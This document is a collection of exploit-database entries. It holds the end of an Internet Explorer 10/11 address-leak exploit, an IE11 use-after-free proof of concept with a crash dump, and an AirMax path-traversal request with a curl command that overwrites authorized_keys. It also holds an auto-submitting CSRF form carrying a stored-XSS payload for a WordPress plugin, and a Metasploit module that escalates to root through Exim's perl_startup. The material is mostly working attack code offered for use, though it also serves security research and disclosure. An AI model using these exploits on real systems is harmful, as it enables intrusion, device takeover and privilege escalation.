                    message += 'CDOMMSGestureEvent VFTable Pointer: 0x' + CDOMMSGestureEvent_VFTablePointer.toString(16);
                    alert(message);

                    // Step 12: Exploit successful
                    exploitSuccessful = true;
                    break;
                }
            }

            // Step 13: As stated earlier, this is a bit unreliable.
            // If the exploit has failed, reload the current page.
            // If reloading does not help, close the browser and
            // launch the exploit multiple times.
            if (!exploitSuccessful) {
                window.location.reload();
            }
        }

        /**
         * This function is used fill the wait list of the freed objects
         * and trigger Garbage Collection.
         */
        function CollectGarbage2() {
            // Microsoft implemented Memory Protector to mitigate
            // Use after Free vulnerabilities. The object protected
            // by Memory Protector won't be freed directly. Instead,
            // it will be put into a wait list which will be freed
            // when it reaches certain threshold (i.e 100,000 bytes).
            var video = new Array();

            // Now allocate video element (400 bytes) 250 times
            //
            // Note: We are not using stack to store the references.
            // If we use stack to store the references, the memory
            // will never be freed during Mark and Reclaim operation
            for (var i = 0; i < 250; i++) {
                video[i] = document.createElement('video');
            }

            // Now free the elements. It will be put into the wait list.
            video = null;

            // Reclaim the memory by triggering Garbage Collection
            CollectGarbage();
        }

        /**
         * This function is used to launch the exploitation by leaking
         * the base address of MSHTML.DLL.
         */
        function LaunchExploit() {
            var browserSupported = false;
            var ieVersion = getInternetExplorerVersion();
            var offsetOfMSHTMLBaseAddress = null;

            if (ieVersion == 11) {
                // If you are getting a wrong base address, please update this value
                // offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress
                offsetOfMSHTMLBaseAddress = 0x0002ebe8;
                browserSupported = true;
            } else if (ieVersion == 10) {
                // If you are getting a wrong base address, please update this value
                // offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress
                offsetOfMSHTMLBaseAddress = 0x0000d270;
                browserSupported = true;
            } else {
                alert('Current browser is not supported!\nExploit Tested on IE10 & 11 (Windows 7 SP1 x86)');
            }

            // Launch the exploit
            if (browserSupported) {
                LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress);
            }
        }
    </script>
</head>
<body onload='LaunchExploit();'>
</body>
</html>
            
<!DOCTYPE html>
<html>
  <head>
  <meta http-equiv="refresh" content="1"/>
  <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  <meta http-equiv="Expires" content="0" />
  <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
  <meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
  <meta http-equiv="Pragma" content="no-cache" />
  <style type="text/css">
   body{
        background-color:lime;
        font-color:white;
   };
  </style>
  <script type='text/javascript'></script>
  <script type="text/javascript" language="JavaScript">
      /*
      *  Title: MSHTML!CMarkupPointer::UnEmbed Use After Free
      *  Author: Marcin Ressel @ressel_m
      *  Date: 15.04.2016
      *  Vendor Homepage: www.microsoft.com
      *  Software Link: n/a
      *  Version: IE11 (latest)
      *  Tested on: Windows 10 x64 && Windows 7 x64
      *  --------------------------------------------------
      *  IE 11 MSHTML!CMarkupPointer::UnEmbed Use After Free
      *  IE 11.0.9600.18230 (win7)
      *  Windows 7 x64, Windows 10 x64 (11.162.10586.0)
      *  11.04.2016
      *  
         0:019> g
         (490.1194): Access violation - code c0000005 (first chance)
         First chance exceptions are reported before any exception handling.
         This exception may be expected and handled.
         eax=00000000 ebx=0df7bbd0 ecx=126e4f38 edx=00000000 esi=12750fd0 edi=00000000
         eip=67028aa8 esp=0a97a658 ebp=0a97a7bc iopl=0         nv up ei pl nz ac po nc
         cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
         MSHTML!CSpliceTreeEngine::HandleRemovalMutations+0xdb:
         67028aa8 8b7610          mov     esi,dword ptr [esi+10h] ds:002b:12750fe0=????????
         0:007> !heap -p -a esi
                address 12750fd0 found in
                _DPH_HEAP_ROOT @ ad81000
               in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    ffe3410:         12750000             2000
               747790b2 verifier!AVrfDebugPageHeapFree+0x000000c2
               77a5251c ntdll!RtlDebugFreeHeap+0x0000002f
               77a0b2a2 ntdll!RtlpFreeHeap+0x0000005d
               779b2ce5 ntdll!RtlFreeHeap+0x00000142
               74a4adeb vrfcore!VerifierSetAPIClassName+0x0000017b
               769d14bd kernel32!HeapFree+0x00000014
               67011a67 MSHTML!MemoryProtection::HeapFree+0x00000046
               66b08fff MSHTML!CMarkupPointer::UnEmbed+0x000000bd
               66d75a96 MSHTML!CMarkupPointer::MoveToGap+0x00000094
               67006183 MSHTML!CMarkupPointer::FindTextIdentity+0x000002b7
               66d75a22 MSHTML!CDOMTextNode::GetParentNodeHelper+0x0000004b
               6719351c MSHTML!CDOMNode::AppendTransientRegisteredObservers+0x00000035
               66f192f7 MSHTML!CSpliceTreeEngine::HandleRemovalMutations+0xffef092a
               66b47967 MSHTML!CSpliceTreeEngine::RemoveSplice+0x000051ef
               66b49c9f MSHTML!CMarkup::SpliceTreeInternal+0x000000a8
               66d8dc9b MSHTML!CDoc::CutCopyMove+0x00000d93
               66b49a27 MSHTML!RemoveWithBreakOnEmpty+0x00000097
               66b3400d MSHTML!CElement::InjectInternal+0x0000043f
               66dd76d5 MSHTML!CElement::InjectTextOrHTML+0x00000323
               66a857e8 MSHTML!CElement::Var_set_innerText+0x00000050
               66a8576c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerText+0x0000003c
               7330c572 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000182
               7330d075 jscript9!<lambda_73b9149c3f1de98aaab9368b6ff2ae9d>::operator()+0x0000009d
               7330cfb2 jscript9!Js::JavascriptOperators::CallSetter+0x00000076
               7333fdcc jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x00000341
               7333fb83 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040
               7333fc03 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d
               73308800 jscript9!Js::InterpreterStackFrame::Process+0x00002c1e
               7330bd59 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200
      */
			function testcase()
			{
        var elements = [];
				var eFrame = document.getElementById("e1"); 
        var tmp = eFrame.contentWindow.document.createElement("body");
				elements.push(tmp); 
				tmp = eFrame.contentWindow.document.createElement("cite"); 
			  elements.push(tmp); 
				tmp = eFrame.contentWindow.document.createElement("frame"); 
			  elements.push(tmp); 
				tmp = eFrame.contentWindow.document.createElement("ellipse"); 
				elements.push(tmp); 
				tmp = eFrame.contentWindow.document.createElement("html"); 
				elements.push(tmp); 
				tmp = eFrame.contentWindow.document.createElement("command"); 
			  elements.push(tmp);
        var trg = document; 
				trg.body.appendChild(elements[0]); 
				trg.body.appendChild(elements[1]); 
				trg.body.appendChild(elements[2]); 
				trg.body.appendChild(elements[3]); 
				trg.body.appendChild(elements[4]); 
				trg.body.appendChild(elements[5]); 
        dom = document.getElementsByTagName("*"); 
        doc = document; 
				trg = dom[10]; 
			  var observer = new MutationObserver(new Function("",""));
			  observer.observe(trg,{ attributes: true, childList: true, characterData: true, subtree: true}); 
				trg.insertAdjacentHTML("afterBegin","<tbody><ol><script><polygon><circle><table></table><command><table></table><rp>"); 
			 	trg.innerText = '12345'; 	
			}
  </script>
  <title>IE 11.0.9600.18230 MSHTML!CMarkupPointer::UnEmbed UAF POC</title>
  </head>
  <body onload='testcase();'>
   <iframe id='t1'></iframe><iframe id='e1'></iframe>
   <div id='oneUnArg'>||||</div>
  </body>
</html>
            
EDB-Note Source: https://hackerone.com/reports/73480

Vulnerability

It's possible to overwrite any file (and create new ones) on AirMax systems, because the "php2" (maybe because of a patch) don't verify the "filename" value of a POST request. It's possible to a unauthenticated user to exploit this vulnerability.
Example

Consider the following request:

POST https://192.168.1.20/login.cgi HTTP/1.1
Cookie: $Version=0; AIROS_SESSIONID=9192de9ba81691e3e4d869a7207ec80f; $Path=/; ui_language=en_US
Content-Type: multipart/form-data; boundary=---------------------------72971515916103336881230390860
Content-Length: 773
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 192.168.1.20
Cookie: $Version=0; AIROS_SESSIONID=7597f7f30cec75e1faef8fb608fc43bb; $Path=/; ui_language=en_US

-----------------------------72971515916103336881230390860
Content-Disposition: form-data; name="keyfile"; filename="../../etc/dropbear/authorized_keys"
Content-Type: application/vnd.ms-publisher

{{Your Public Key HERE}}
-----------------------------72971515916103336881230390860--

The web server must filter the file name ../../etc/dropbear/authorized_keys to just authorized_keys or return a 404. But the AirMax just received the file, overwriting the original (creating if don't exist) in the process. In this case the attacker are uploading arbitrary public ssh keys, but it can be used to upload configurations, or "/etc/passwd"...
Consequences

It's possible to take control over any AirMax Product with simple forged http POST request, what it disastrous.


Reproducing

With a simple command:
curl -F "file=@.ssh/id_rsa.pub;filename=../../etc/dropbear/authorized_keys" -H "Expect:" 'https://192.168.1.20/login.cgi' -k

Of course if the ssh is disabled you can overwrite /etc/passwd and/or /tmp/system.cfg.
            
I would like to disclose CSRF and stored XSS vulnerability in Wordpress
plugin LeenkMe version 2.5.0.

The plugin can be found at https://wordpress.org/plugins/leenkme/

In the page wp-content/plugins/leenkme/facebook.php

XSS vulnerable Fields are :

   - facebook_message
   - facebook_linkname
   - facebook_caption
   - facebook_description
   - default_image
   - _wp_http_referer


This CSRF is tested on latest wordpress installation 4.4.2 using firefox
browser.

The Code for CSRF.html is

<html>
  <body onload="document.forms['xss'].submit()" >
    <form name="xss" action="
http://127.0.0.1/wp/wp-admin/admin.php?page=leenkme_facebook" method="POST">
      <input type="hidden" name="facebook_profile" value="on" />
      <input type="hidden" name="fb_publish_wpnonce" value="" />
      <input type="hidden" name="_wp_http_referer" value="XSS" />
      <input type="hidden" name="facebook_message" value="XSS" />
      <input type="hidden" name="facebook_linkname" value="XSS" />
      <input type="hidden" name="facebook_caption" value="XSS" />
      <input type="hidden" name="facebook_description" value="
&lt;/textarea&gt;<script>prompt();</script>" />
      <input type="hidden" name="default_image" value="XSS" />
      <input type="hidden" name="message_preference" value="author" />
      <input type="hidden" name="clude" value="in" />
      <input type="hidden" name="publish_cats&#91;&#93;" value="0" />
      <input type="hidden" name="update_facebook_settings"
value="Save&#32;Settings" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


The vulnerable page is

wp-content/plugins/leenkme/facebook.php

The vulnerable code producing XSS is


if ( !empty( $_REQUEST['facebook_message'] ) )
$user_settings['facebook_message'] = $_REQUEST['facebook_message'];
else
$user_settings['facebook_message'] = '';
if ( !empty( $_REQUEST['facebook_linkname'] ) )
$user_settings['facebook_linkname'] = $_REQUEST['facebook_linkname'];
else
$user_settings['facebook_linkname'] = '';
if ( !empty( $_REQUEST['facebook_caption'] ) )
$user_settings['facebook_caption'] = $_REQUEST['facebook_caption'];
else
$user_settings['facebook_caption'] = '';
if ( !empty( $_REQUEST['facebook_description'] ) )
$user_settings['facebook_description'] = $_REQUEST['facebook_description'];


-------------------------
-------------------------
-------------------------
snip
------------------------
-------------------------
--------------------------

<td><textarea name="facebook_message" style="width: 500px;"
maxlength="400"><?php
echo $user_settings['facebook_message']; ?>&lt;/textarea&gt;</td>
                            </tr>
                            <tr>
                             <td><?php _e( 'Default Link Name:', 'leenkme'
); ?></td>
                                <td><input name="facebook_linkname"
type="text" style="width: 500px;" value="<?php echo
$user_settings['facebook_linkname']; ?>"  maxlength="100"/></td>
                            </tr>
                            <tr>
                             <td><?php _e( 'Default Caption:', 'leenkme' );
?></td>
                                <td><input name="facebook_caption"
type="text" style="width: 500px;" value="<?php echo
$user_settings['facebook_caption']; ?>" maxlength="100"/></td>
                            </tr>
                            <tr>
                             <td style='vertical-align: top; padding-top:
5px;'><?php _e( 'Default Description:', 'leenkme' ); ?></td>
                                <td><textarea name="facebook_description"
style="width: 500px;" maxlength="300"><?php echo
$user_settings['facebook_description']; ?>&lt;/textarea&gt;</td>


The code used to protect against CSRF that is the anti csrf token used is

<?php wp_nonce_field( 'fb_publish', 'fb_publish_wpnonce' ); ?>


But this code is not protecting against the CSRF, the form get submitted
successfully with out any error even though the fb_publish_wpnonce is kept
empty resulting in CSRF vulnerability.



# Author email: cor3sm4sh3r[at]gmail.com
# Contact: https://in.linkedin.com/in/cor3sm4sh3r
# Twitter: https://twitter.com/cor3sm4sh3r
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Exim "perl_startup" Privilege Escalation',
      'Description'     => %q{
        This module exploits a Perl injection vulnerability in Exim < 4.86.2
        given the presence of the "perl_startup" configuration parameter.
      },
      'Author'          => [
        'Dawid Golunski', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'      => [
        %w{CVE 2016-1531},
        %w{EDB 39549},
        %w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt}
      ],
      'DisclosureDate'  => 'Mar 10 2016',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'SessionTypes'    => %w{shell meterpreter},
      'Privileged'      => true,
      'Payload'         => {
        'BadChars'      => "\x22\x27", # " and '
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet'
        }
      },
      'Targets'         => [
        ['Exim < 4.86.2', {}]
      ],
      'DefaultTarget'   => 0
    ))
  end

  def check
    if exploit('whoami') == 'root'
      CheckCode::Vulnerable
    else
      CheckCode::Safe
    end
  end

  def exploit(c = payload.encoded)
    # PERL5DB technique from http://perldoc.perl.org/perlrun.html
    cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
  end

end